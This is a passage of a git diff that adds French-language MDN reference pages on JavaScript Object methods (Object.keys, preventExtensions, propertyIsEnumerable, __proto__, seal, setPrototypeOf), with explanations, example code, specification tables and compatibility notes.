L'objet dont on souhaite lister les propriétés propres et énumérables.
+
+ +

Valeur de retour

+ +

Un tableau de chaînes de caractères qui sont les noms des propriétés énumérables de l'objet passé en argument.

+ +

Description

+ +

Object.keys() renvoie un tableau dont les éléments sont les chaînes de caractères des noms des propriétés propres et énumérables d'obj. L'ordre des propriétés obtenu est le même que celui obtenu lorsqu'on boucle manuellement sur les propriétés de l'objet.

+ +

Exemples

+ +
var arr = ["a", "b", "c"];
+console.log(Object.keys(arr));
+// affichera ['0', '1', '2']
+
+// un objet semblable à un tableau
+var obj = { 0 : "a", 1 : "b", 2 : "c"};
+console.log(Object.keys(obj));
+// affichera ['0', '1', '2']
+
+// un objet semblable à un tableau avec
+// un ordre de clé aléatoire
+var an_obj = { 100: "a", 2: "b", 7: "c"};
+console.log(Object.keys(an_obj));
+// affichera ['2', '7', '100']
+
+// getToto est une propriété non énumérable
+var monObjet = Object.create({}, {
+                                 getToto : {
+                                            value : function () {
+                                              return this.toto }
+                                           }
+                                  });
+monObjet.toto = 1;
+
+console.log(Object.keys(monObjet));
+// affichera ['toto']
+
+ +

Si on souhaite lister toutes les propriétés, y compris celles qui ne sont pas énumérables, on pourra utiliser {{jsxref("Object.getOwnPropertyNames()")}}.

+ +

Notes

+ +

Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015 (ES6), un argument qui n'est pas un objet sera d'abord converti en objet.

+ +
Object.keys("toto");
+// TypeError: "toto" n'est pas un objet (code ES5)
+
+Object.keys("toto");
+// ["0", "1", "2", "3"]                   (code ES2015)
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.14', 'Object.keys')}}{{Spec2('ES5.1')}}Définition initiale.
+ Implémentée avec JavaScript 1.8.5
{{SpecName('ES2015', '#sec-object.keys', 'Object.keys')}}{{Spec2('ES2015')}}
{{SpecName('ESDraft', '#sec-object.keys', 'Object.keys')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.keys")}}

+
+ +

Voir aussi

+ +
    +
  • Énumérabilité et possession des propriétés
    • +
  • {{jsxref("Object.prototype.propertyIsEnumerable()")}}
    • +
  • {{jsxref("Object.create()")}}
    • +
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • +
  • {{jsxref("Object.values()")}}
    • +
  • {{jsxref("Object.entries()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/preventextensions/index.html b/files/fr/web/javascript/reference/global_objects/object/preventextensions/index.html new file mode 100644 index 0000000000..8b86cba0a4 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/preventextensions/index.html @@ -0,0 +1,141 @@ +--- +title: Object.preventExtensions() +slug: Web/JavaScript/Reference/Objets_globaux/Object/preventExtensions +tags: + - ECMAScript 5 + - JavaScript + - JavaScript 1.8.5 + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions +--- +
{{JSRef}}
+ +

La méthode Object.preventExtensions() permet d'empêcher l'ajout de nouvelles propriétés à un objet (i.e. d'étendre l'objet grâce à de nouvelles caractéristiques).

+ +
{{EmbedInteractiveExample("pages/js/object-preventextensions.html")}}
+ + + +

Syntaxe

+ +
Object.preventExtensions(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet qu'on souhaite rendre non-extensible.
+
+ +

Valeur de retour

+ +

L'objet rendu non-extensible.

+ +

Description

+ +

Un objet est extensible si on peut lui ajouter de nouvelles propriétés. Object.preventExtensions() marque un objet et le rend non-extensible. Ainsi, cet objet ne pourra avoir d'autres propriétés que celles à l'instant où il a été marqué comme non-extensible. Attention, les propriétés existantes d'un objet non-extensible peuvent toujours être supprimées. Toute tentative d'ajout de nouvelles propriétés à un objet non-extensible échouera, soit de façon silencieuse, soit en levant une exception {{jsxref("TypeError")}} (le plus souvent en {{jsxref("Strict_mode", "mode strict", "", 1)}}).

+ +

Object.preventExtensions() n'empêche que l'ajout des propriétés directement sur l'objet, il n'empêche pas d'ajouter des propriétés sur le prototype.

+ +

Cette méthode rend la propriété interne [[prototype]] de la cible immuable, toute réaffectation de [[prototype]] déclenchera une exception TypeError. Ce comportement est spécifique à la propriété interne [[prototype]], les autres propriétés de la cible restent modifiables.

+ +

Si, grâce à cette méthode, on peut rendre un objet non-extensible, il n'existe aucune méthode pour effectuer l'action inverse (rendre un objet non-extensible à nouveau extensible).

+ +

Exemples

+ +
// Object.preventExtensions renvoie l'objet
+// non-extensible.
+var obj = {};
+var obj2 = Object.preventExtensions(obj);
+obj === obj2; // true
+
+// Par défaut, les objets sont extensibles.
+var vide = {};
+Object.isExtensible(vide); // true
+
+// ...mais cela peut être modifié.
+Object.preventExtensions(vide);
+Object.isExtensible(vide) === false);
+
+// Object.defineProperty lève une exception
+// lorsqu'on tente d'ajouter de nouvelles propriétés
+var nonExtensible = { removable: true };
+Object.preventExtensions(nonExtensible);
+
+Object.defineProperty(nonExtensible, 'nouvelle', { value: 8675309 });
+/ lève une TypeError
+
+// En mode strict, toute tentative d'ajout
+// lève une exception TypeError
+function échec() {
+  'use strict';
+  nonExtensible.nouvelleProp = 'ÉCHEC'; //
+}
+échec();
+
+// EXTENSION (ne fonctionne que pour les moteurs
+// qui utilisent __proto__ ) :
+// Le prototype (via __proto__) d'un objet non-extensible
+// n'est pas modifiable :
+var fixed = Object.preventExtensions({});
+fixed.__proto__ = { oh: 'hey' }; // lève une TypeError
+
+ +

Notes

+ +

Pour ES5, si l'argument passé à la méthode n'est pas un objet mais une valeur d'un autre type primitif, cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, une valeur qui n'est pas un objet sera traitée comme un objet ordinaire qui n'est pas extensible et la méthode renverra cette valeur.

+ +
Object.preventExtensions(1);
+// TypeError : 1 n'est pas un object (code ES5)
+
+Object.preventExtensions(1);
+// 1                             (code ES2015)
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.2.3.10', 'Object.preventExtensions')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.8.5.
{{SpecName('ES6', '#sec-object.preventextensions', 'Object.preventExtensions')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.preventextensions', 'Object.preventExtensions')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.preventExtensions")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.isExtensible()")}}
    • +
  • {{jsxref("Object.seal()")}}
    • +
  • {{jsxref("Object.isSealed()")}}
    • +
  • {{jsxref("Object.freeze()")}}
    • +
  • {{jsxref("Object.isFrozen()")}}
    • +
  • {{jsxref("Reflect.preventExtensions()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/propertyisenumerable/index.html b/files/fr/web/javascript/reference/global_objects/object/propertyisenumerable/index.html new file mode 100644 index 0000000000..d1caefe8c3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/propertyisenumerable/index.html @@ -0,0 +1,150 @@ +--- +title: Object.prototype.propertyIsEnumerable() +slug: Web/JavaScript/Reference/Objets_globaux/Object/propertyIsEnumerable +tags: + - JavaScript + - Méthode + - Object + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable +--- +
{{JSRef}}
+ +

La méthode propertyIsEnumerable() renvoie un booléen qui indique si la propriété donnée est énumérable.

+ +
{{EmbedInteractiveExample("pages/js/object-prototype-propertyisenumerable.html")}}
+ + + +

Syntaxe

+ +
obj.propertyIsEnumerable(prop)
+ +

Paramètres

+ +
+
prop
+
Le nom de la propriété dont on souhaite savoir si elle est énumérable ou non.
+
+ +

Valeur de retour

+ +

Un booléen qui indique si la propriété passée en argument est énumérable.

+ +

Description

+ +

Chaque objet possède une méthode propertyIsEnumerable. Cette méthode est utilisée afin de savoir s'il est possible d'énumérer la propriété donnée au moyen d'une boucle {{jsxref("Instructions/for...in", "for...in")}}. Cela concerne uniquement les propriétés propres à l'objet (celles qui ne sont pas héritées via la chaîne de prototypes). Si un objet ne possède pas la propriété, cette méthode renverra false.

+ +

Exemples

+ +

Utiliser propertyIsEnumerable

+ +

Dans l'exemple qui suit, on illustre comment utiliser propertyIsEnumerable sur les objets et tableaux :

+ +
var o = {};
+var a = [];
+o.prop = 'est énumérable';
+a[0] = 'est énumérable';
+
+o.propertyIsEnumerable('prop');   // renvoie true
+a.propertyIsEnumerable(0);        // renvoie true
+
+ +

Objets natifs et objets définis par l'utilisateur

+ +

Dans l'exemple ci-dessous, on illustre l'énumérabilité des propriétés des objets natifs et celle des objets tiers, définis dans les scripts :

+ +
var a = ['est énumérable'];
+
+a.propertyIsEnumerable(0);          // renvoie true
+a.propertyIsEnumerable('length');   // renvoie false
+
+Math.propertyIsEnumerable('random');   // renvoie false
+this.propertyIsEnumerable('Math');     // renvoie false
+
+ +

Propriétés héritées et propriétés propres

+ +
var a = [];
+a.propertyIsEnumerable('constructor');         // renvoie false
+
+function premierConstructeur() {
+  this.propriete = 'non énumérable';
+}
+
+premierConstructeur.prototype.premiereMethode = function() {};
+
+function secondConstructeur() {
+  this.methode = function methode() { return 'énumérable'; };
+}
+
+secondConstructeur.prototype = new premierConstructeur;
+secondConstructeur.prototype.constructor = secondConstructeur;
+
+var o = new secondConstructeur();
+o.propArbitraire = 'is enumerable';
+
+o.propertyIsEnumerable('propArbitraire');   // renvoie true
+o.propertyIsEnumerable('méthode');          // renvoie true
+o.propertyIsEnumerable('propriété');        // renvoie false
+
+o.propriete = 'énumérable';
+
+o.propertyIsEnumerable('propriété');        // renvoie true
+
+// Ces instructions renvoient false car propertyIsEnumerable
+// ne prend pas en compte la chaîne de prototypes
+o.propertyIsEnumerable('prototype');   // renvoie false
+o.propertyIsEnumerable('constructor'); // renvoie false
+o.propertyIsEnumerable('premièreMéthode'); // renvoie false
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.2.4.7', 'Object.prototype.propertyIsEnumerable')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.propertyIsEnumerable")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/object/proto/index.html b/files/fr/web/javascript/reference/global_objects/object/proto/index.html new file mode 100644 index 0000000000..937a9f564c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/proto/index.html @@ -0,0 +1,162 @@ +--- +title: Object.prototype.__proto__ +slug: Web/JavaScript/Reference/Objets_globaux/Object/proto +tags: + - Deprecated + - ECMAScript 2015 + - JavaScript + - Object + - Propriété + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/proto +--- +
{{JSRef}}{{Deprecated_header}}
+ +
+

Attention : Étant donnée la façon dont la plupart des moteurs JavaScript optimisent les performances, modifier le [[Prototype]] d'un objet est une opération lente pour chaque navigateur et moteur JavaScript. Les impacts liés aux performances sur ce point sont vastes et subtiles : ils concernent pas uniquement le temps passé à effectuer obj.__proto__ = ..., mais peuvent concerner n'importe quel code pour n'importe quel objet dont [[Prototype]] a été modifié. Si vous souhaitez obtenir des performances optimales, évitez de modifier le [[Prototype]] d'un objet. À la place, il est conseillé de créer un objet avec le prototype voulu en utilisant {{jsxref("Object.create()")}}.

+
+ +
+

Attention : Bien que la propriété Object.prototype.__proto__ soit déjà supportée dans la plupart des navigateurs à l'heure actuelle, son comportement n'a été standardisé que récemment avec la spécification ECMAScript 2015. Si vous avez besoin d'utiliser cette propriété dans des environnements antérieurs à ES2015, il est recommandé d'utiliser {{jsxref("Object.getPrototypeOf()")}}.

+
+ +

La propriété __proto__ de {{jsxref("Object.prototype")}} est une propriété accesseur (un couple de fonction avec un accesseur (getter) et un mutateur (setter)) qui expose le [[Prototype]] interne (qui est soit un objet, soit {{jsxref("null")}}) de l'objet courant.

+ +

L'utilisation de __proto__ est sujet à controverse. Elle a été déconseillée par plusieurs personnes et n'avait jamais été incluse dans la spécification ECMAScript. Cependant, de nombreux navigateurs ont décidé de l'implémenter. À l'heure actuelle, la propriété __proto__ a été standardisée avec la spécification ECMAScript 2015 et sera officiellement supportée à l'avenir. Une alternative à cette propriété peut être l'utilisation des méthodes {{jsxref("Object.getPrototypeOf")}}/{{jsxref("Reflect.getPrototypeOf")}} et {{jsxref("Object.setPrototypeOf")}}/{{jsxref("Reflect.setPrototypeOf")}}. Cependant, modifier le [[Prototype]] d'un objet est toujours une opération lente qui doit être évitée le plus possible pour des raisons de performances.

+ +

La propriété __proto__ peut également être utilisée avec un littéral objet afin de définir le [[Prototype]] lors de la construction (ce qui en fait une alternative à {{jsxref("Object.create()")}}. Voir la page sur {{jsxref("Opérateurs/Initialisateur_objet","les initialisateurs d'objet","",1)}}.

+ +

Syntaxe

+ +
var proto = obj.__proto__;
+ +
+

Note : le nom de la propriété est composé de deux tirets bas, suivis de « proto », suivis par deux tirets bas (underscores)

+
+ +

Description

+ +

L'accesseur __proto__ expose la valeur du [[Prototype]] interne d'un objet.

+ +
    +
  • Pour les objets créés via un littéral objet, cette valeur est {{jsxref("Object.prototype")}}.
    • +
  • Pour les objet créés via un littéral de tableau, cette valeur est {{jsxref("Array.prototype")}}.
    • +
  • Pour les fonctions, cette valeur est {{jsxref("Function.prototype")}}.
    • +
  • Pour les objets créés en utilisant new fun, avec fun un des constructeurs natif de fonctions, fournis par JavaScript ({{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("String")}}, etc.), cette valeur est fun.prototype.
    • +
  • Pour les objets créés en utilisant new fun, avec fun une function definie dans un script, cette valeur est la valeur de fun.prototype au moment où new fun est évaluée. (Ainsi, si on affecte une nouvelle valeur à fun.prototype, les instances crées précédemment conserveront leur [[Prototype]], les objets créés par la suite bénéficieront de la nouvelle valeur pour leur [[Prototype]].)
    • +
+ +

Le mutateur __proto__ permet de changer le [[Prototype]] d'un objet. Cet objet doit être extensible selon {{jsxref("Object.isExtensible")}}, si ce n'est pas le cas, une exception {{jsxref("TypeError")}} sera renvoyée. La valeur fournie pour le nouveau prototype doit être un objet ou {{jsxref("null")}}. Toute autre valeur entraînera un échec silencieux.

+ +

Pour plus d'éléments sur le fonctionnement de l'héritage et des prototypes, voir la page sur l'héritage et les chaînes de prototypes.

+ +

Le propriété __proto__ n'est qu'une propriété accesseur (composée d'une fonction accesseur (getter) et d'une fonction mutateur (setter)) pour {{jsxref("Object.prototype")}}. Si l'accès à __proto__ consulte {{jsxref("Object.prototype")}}, on trouvera la propriété. Un accesseur qui ne consulte pas {{jsxref("Object.prototype")}} ne pourra pas trouver le prototype. Si une propriété __proto__ est trouvée avant que {{jsxref("Object.prototype")}} ne soit consulté, cette propriété « cachera » {{jsxref("Object.prototype")}}.

+ +
var aucunProto = Object.create(null);
+
+console.log(typeof aucunProto.__proto__); // undefined
+console.log(Object.getPrototypeOf(aucunProto)); // null
+
+aucunProto.__proto__ = 17;
+
+console.log(aucunProto.__proto__); // 17
+console.log(Object.getPrototypeOf(aucunProto)); // null
+
+var protoCaché = {};
+Object.defineProperty(protoCaché, "__proto__",
+                      { value: 42, writable: true, configurable: true, enumerable: true });
+
+console.log(protoCaché.__proto__); // 42
+console.log(Object.getPrototypeOf(protoCaché) === Object.prototype); // true
+
+ +

Exemples

+ +

Dans ce qui suit, on crée un nouvelle instance d'Employé et on teste si __proto__ est bien le même objet que le prototype de son constructeur.

+ +
+

Attention ! Les remarques données plus haut sur les atteintes à la performance restent valables pour ces exemples. Ces exemples permettent uniquement d'illustrer le fonctionnement de __proto__, ils ne font pas office de recommandations.

+
+ +
// On déclare une fonction à utiliser comme constructeur
+function Employé() {
+  /* on initialise l'instance */
+}
+
+// On crée une nouvelle instance d'Employé
+var fred = new Employé();
+
+// On teste l'équivalence
+fred.__proto__ === Employé.prototype; // true
+
+ +

À cet instant, fred hérite de Employé. On peut toutefois changer ça en assignant un nouvel objet à fred.__proto__ :

+ +
// Assigner un nouvel objet à __proto__
+fred.__proto__ = Object.prototype;
+
+ +

fred n'hérite plus de Employé.prototype, mais de Object.prototype. Il perd donc les propriétés héritées de Employé.prototype.

+ +

Cela n'est possible que pour les objets {{jsxref("Object.isExtensible", "extensibles","",1)}}. La propriété __proto__ d'un objet non-extensible ne peut pas être changée :

+ +
var obj = {};
+Object.preventExtensions(obj);
+
+obj.__proto__ = {}; // renvoie une exception TypeError
+
+ +

On notera que même la propriété __proto__ de Object.prototype peut être redéfinie tant que la chaîne de prototypes se termine par null :

+ +
var b = {};
+
+Object.prototype.__proto__ =
+    Object.create(null, //[[Prototype]]
+                  { salut: { value: function () {console.log('salut');}}});
+
+b.salut();
+ +

Si la propriété __proto__ de {{jsxref("Object.prototype")}} ne permet pas d'aboutir à {{jsxref("null")}} via la chaîne de prototypes, on a une chaîne cyclique et on doit avoir une exception {{jsxref("TypeError")}} "cyclic __proto__ value".

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-object.prototype.__proto__', 'Object.prototype.__proto__')}}{{Spec2('ES2015')}}Incluse dans l'annexe (normative) pour le fonctionnalités additionneles d'ECMAScript pour les navigateurs web (note : la spécification codifie ce qui est déjà présent dans les implémentations).
{{SpecName('ESDraft', '#sec-additional-properties-of-the-object.prototype-object', 'Object.prototype.__proto__')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Object.proto")}}

+ +

Notes de compatibilité

+ +

Bien que la spécification ES2015 rende le support de __proto__ nécessaire pour les navigateurs web, elle n'est pas obligatoire pour les autres environnements (bien que ce soit conseillé vu le caractère normatif de l'annexe). Si votre code doit être compatible avec un environnement qui n'est pas un navigateur web, il est recommandé d'utiliser {{jsxref("Object.getPrototypeOf()")}} et {{jsxref("Object.setPrototypeOf()")}} à la place.

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
    • +
  • {{jsxref("Object.getPrototypeOf()")}}
    • +
  • {{jsxref("Object.setPrototypeOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/seal/index.html b/files/fr/web/javascript/reference/global_objects/object/seal/index.html new file mode 100644 index 0000000000..3a111936e6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/seal/index.html @@ -0,0 +1,153 @@ +--- +title: Object.seal() +slug: Web/JavaScript/Reference/Objets_globaux/Object/seal +tags: + - ECMAScript 5 + - JavaScript + - JavaScript 1.8.5 + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/seal +--- +
{{JSRef}}
+ +

La méthode Object.seal() scelle un objet afin d'empêcher l'ajout de nouvelles propriétés, en marquant les propriétés existantes comme non-configurables. Les valeurs des propriétés courantes peuvent toujours être modifiées si elles sont accessibles en écriture.

+ +
{{EmbedInteractiveExample("pages/js/object-prototype-seal.html")}}
+ + + +

Syntaxe

+ +
Object.seal(obj)
+ +

Paramètres

+ +
+
obj
+
L'objet à sceller. Ce peut être n'importe quelle valeur qui n'ait pas un type primitif.
+
+ +

Valeur de retour

+ +

L'objet qui est scellé.

+ +

Description

+ +

Par défaut, les objets sont {{jsxref("Object.isExtensible()", "extensibles", "", 1)}} (ce qui signifie que de nouvelles propriétés peuvent leur être ajoutées). Sceller un objet empêche l'ajout de nouvelles propriétés et marque les propriétés existantes comme non-configurables. Ainsi, l'ensemble de propriétés de l'objet devient fixé et immuable. Le fait de rendre les propriétés non-configurables empêche également de transformer des propriétés de données en accesseurs et vice versa. Cela n'empêche pas de modifier la valeur des propriétés. Toute tentative de suppression ou d'ajout de propriétés à un objet qui est scellé, de conversion d'une propriété de données en accesseurs ou vice versa échouera, soit de manière silencieuse soit en lançant une exception {{jsxref("TypeError")}} (la plupart du temps en {{jsxref("Fonctions_et_portee_des_fonctions/Strict_mode","mode strict","",1)}}.

+ +

La chaîne de prototypes reste la même. Cependant, la propriété {{jsxref("Object.proto", "__proto__")}} ( {{deprecated_inline}} ) est scellée également.

+ +

Exemples

+ +
var obj = {
+    prop: function () {},
+    toto: "truc"
+  };
+
+// On peut ajouter de nouvelles propriétés
+// Les propriétés existantes peuvent être
+// changées ou retirées
+obj.toto = "machin";
+obj.blop = "blip";
+delete obj.prop;
+
+var o = Object.seal(obj);
+
+o === obj; // true
+Object.isSealed(obj); // true
+
+// On peut toujours changer la valeur
+// d'une propriété d'un objet scellé
+obj.toto = "moh";
+
+// Mais on ne peut pas convertir les données
+// en accesseurs (ou vice versa)
+Object.defineProperty(obj, "toto", { get: function() { return "g"; } });
+// lancera une TypeError
+
+// Tout autre changement que celui d'une valeur
+// ne fonctionnera pas
+
+obj.coincoin = "mon canard";
+// la propriété n'est pas ajoutée
+
+delete obj.toto;
+// la propriété n'est pas supprimée
+
+// ...en mode strict, cela lancera des TypeErrors
+function échec() {
+  "use strict";
+  delete obj.toto; // lance une TypeError
+  obj.tutu = "arf"; // lance une TypeError
+}
+échec();
+
+// L'utilisation de la méthode Object.defineProperty ne fonctionnera pas
+
+Object.defineProperty(obj, "ohai", { value: 17 });
+// lance une TypeError
+
+Object.defineProperty(obj, "toto", { value: "eit" });
+// modifie une propriété existante
+ +

Notes

+ +

Pour ES5, si l'argument passé à la méthode n'est pas un objet (mais une valeur d'un autre type primitif), cela entraînera une exception {{jsxref("TypeError")}}. Pour ES2015, un argument qui n'est pas un objet sera traité comme un objet ordinaire scellé et la méthode renverra cet objet.

+ +
Object.seal(1);
+// TypeError : 1 n'est pas un objet (code ES5)
+
+Object.seal(1);
+// 1 (code ES2015)
+ +

Comparaison avec Object.freeze()

+ +

Lorsqu'on utilise la méthode {{jsxref("Object.freeze()")}}, les propriétés existantes d'un objet gelé deviennent immuables. En revanche, avec Object.seal(), il est toujours possible de modifier la valeur des propriétés existantes d'un objet scellé.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaire
{{SpecName('ES5.1', '#sec-15.2.3.8', 'Object.seal')}}{{Spec2('ES5.1')}}Définition initiale.
+ Implémentée par JavaScript 1.8.5
{{SpecName('ES6', '#sec-object.seal', 'Object.seal')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-object.seal', 'Object.seal')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Object.seal")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Object.isSealed()")}}
    • +
  • {{jsxref("Object.isFrozen()")}}
    • +
  • {{jsxref("Object.isExtensible()")}}
    • +
  • {{jsxref("Object.preventExtensions()")}}
    • +
  • {{jsxref("Object.freeze()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/object/setprototypeof/index.html b/files/fr/web/javascript/reference/global_objects/object/setprototypeof/index.html new file mode 100644 index 0000000000..67ec870d90 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/object/setprototypeof/index.html @@ -0,0 +1,210 @@ +--- +title: Object.setPrototypeOf() +slug: Web/JavaScript/Reference/Objets_globaux/Object/setPrototypeOf +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Object + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf +--- +
{{JSRef}}
+ +
+

Attention : Étant donnée la façon dont la plupart des moteurs JavaScript optimisent les performances, modifier le [[Prototype]] d'un objet est une opération lente pour chaque navigateur et moteur JavaScript. Les impacts liés aux performances sur ce point sont vastes et subtiles : ils concernent pas uniquement le temps passé à effectuer Object.setPrototypeOf, mais peuvent concerner n'importe quel code pour n'importe quel objet dont [[Prototype]] a été modifié. Si vous souhaitez obtenir des performances optimales, évitez de modifier le [[Prototype]] d'un objet. À la place, il est conseillé de créer un objet avec le prototype voulu en utilisant {{jsxref("Object/create","Object.create()")}}

+
+ +

La méthode Object.setPrototypeOf() définit le prototype (autrement dit la propriété interne [[Prototype]]) d'un objet donné avec un autre objet ou {{jsxref("null")}}.

+ +

Syntaxe

+ +
Object.setPrototypeOf(obj, prototype)
+ +

Paramètres

+ +
+
obj
+
L'objet dont on souhaite définir le prototype.
+
prototype
+
Le nouveau prototype de l'objet (un objet ou null).
+
+ +

Valeur de retour

+ +

L'objet sur lequel on a défini le prototype.

+ +

Description

+ +

Cette méthode renvoie une exception {{jsxref("TypeError")}} si l'objet dont on souhaite modifier le [[Prototype]] est non-extensible selon {{jsxref("Object.isExtensible")}}.  Cette méthode ne fait rien si le paramètre prototype n'est ni un objet ni {{jsxref("null")}} (par exemple : un nombre, une chaîne, un booléen ou {{jsxref("undefined")}}).  Dans les autres cas, cette méthode substitue le [[Prototype]] de obj avec un nouvel objet.

+ +

Object.setPrototypeOf() fait partie de la spécification ECMAScript 2015. L'utilisation de cette méthode est considérée comme la façon correcte pour modifier le prototype d'un objet (contrairement à la propriété {{jsxref("Object/proto","Object.prototype.__proto__")}} plus controversée).

+ +

Exemples

+ +
var dict = Object.setPrototypeOf({}, null);
+
+ +

Prothèse d'émulation (polyfill)

+ +

En utilisant la propriété {{jsxref("Object.proto", "Object.prototype.__proto__")}}, on peut définir Object.setPrototypeOf si elle n'est pas disponible :

+ +
// Cette prothèse ne fonctionne pas pour IE
+Object.setPrototypeOf = Object.setPrototypeOf || function (obj, proto) {
+  obj.__proto__ = proto;
+  return obj;
+}
+ +

Ajouter une chaîne de prototypes à un objet

+ +

En combinant Object.getPrototypeOf() et {{jsxref("Object.proto", "Object.prototype.__proto__")}} on peut ajouter une chaîne de prototypes au nouveau prototype d'un objet :

+ +
/**
+*** Object.setPrototypeOf(@object, @prototype)
+* Change le prototype d'une instance
+*
+**/
+
+Object.setPrototypeOf = function (oInstance, oProto) {
+  oInstance.__proto__ = oProto;
+  return oInstance;
+};
+
+/**
+*** Object.appendChain(@object, @prototype)
+*
+* Ajoute le premier prototype non-natif d'une chaîne au nouveau prototype.
+* Renvoie @object (si c'est une valeur primitive, elle sera transformée
+* en objet).
+*
+*** Object.appendChain(@object [, "@arg_name_1", "@arg_name_2", "@arg_name_3", "..."], "@function_body")
+*** Object.appendChain(@object [, "@arg_name_1, @arg_name_2, @arg_name_3, ..."], "@function_body")
+*
+* Ajoute le premier prototype non-natif d'une chaîne à l'objet Function.prototype
+* puis ajoute new Function(["@arg"(s)], "@function_body") à cette chaîne.
+* Renvoie la fonction.
+*
+**/
+
+Object.appendChain = function (oChain, oProto) {
+  if (arguments.length < 2) {
+    throw new TypeError("Object.appendChain - Pas suffisamment d'arguments");
+  }
+  if (typeof oProto !== 'object' && typeof oProto !== 'string') {
+   throw new TypeError("le deuxième argument de Object.appendChain doit être un objet ou une chaîne");
+  }
+
+  var oNewProto = oProto, oReturn = o2nd = oLast = oChain instanceof this ? oChain : new oChain.constructor(oChain);
+
+  for (var o1st = this.getPrototypeOf(o2nd); o1st !== Object.prototype && o1st !== Function.prototype; o1st = this.getPrototypeOf(o2nd)) {
+    o2nd = o1st;
+  }
+
+  if (oProto.constructor === String) {
+    oNewProto = Function.prototype;
+    oReturn = Function.apply(null, Array.prototype.slice.call(arguments, 1));
+    this.setPrototypeOf(oReturn, oLast);
+  }
+
+  this.setPrototypeOf(o2nd, oNewProto);
+  return oReturn;
+}
+
+ +

Utilisation

+ +

Ajouter une chaîne de prototypes à un prototype

+ +
function Mammifère () {
+  this.isMammifère = "oui";
+}
+
+function EspèceMammifère (sEspèceMammifère) {
+  this.espèce = sEspèceMammifère;
+}
+
+EspèceMammifère.prototype = new Mammifère();
+EspèceMammifère.prototype.constructor = EspèceMammifère;
+
+var oChat = new EspèceMammifère("Felis");
+
+console.log(oChat.isMammifère); // "oui"
+
+function Animal () {
+  this.respire = "oui";
+}
+
+Object.appendChain(oChat, new Animal());
+
+console.log(oChat.respire); // "oui"
+
+ +

Deuxième exemple : Transformer une valeur primitive en une instance de son constructeur et ajouter sa chaîne à un prototype

+ +
function MySymbol () {
+  this.isSymbol = "yes";
+}
+
+var nPrime = 17;
+
+console.log(typeof nPrime); // "number"
+
+var oPrime = Object.appendChain(nPrime, new MySymbol());
+
+console.log(oPrime); // "17"
+console.log(oPrime.isSymbol); // "yes"
+console.log(typeof oPrime); // "object"
+
+ +

Troisième exemple : Ajouter une chaîne de prototypes à l'objet Function.prototype object et ajouter une nouvelle fonction à cette chaîne

+ +
function Personne (sNom) {
+  this.identité = sNom;
+}
+
+var george = Object.appendChain(new Person("George"),
+                                "console.log(\"Salut !!\");");
+
+console.log(george.identité); // "George"
+george(); // "Salut !!"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-object.setprototypeof', 'Object.setPrototypeOf')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-object.setprototypeof', 'Object.setPrototypeOf')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Object.setPrototypeOf")}}

+
+ +

Voir aussi

+ +
    +
